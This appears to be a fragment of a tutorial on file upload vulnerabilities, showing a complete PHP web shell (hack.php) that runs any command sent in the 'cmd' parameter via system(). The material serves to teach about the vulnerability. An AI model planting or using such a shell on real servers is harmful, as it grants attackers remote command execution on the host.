File Upload Vulnerabilities

Mal writes a simple script called hack.php. When this web shell is executed by PHP, it will run any command passed in the cmd parameter.

A hacker
A Web Shell
<?php
  if(isset($_REQUEST['cmd'])) {
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
  } else {
    echo "What is your bidding?";
  }
?>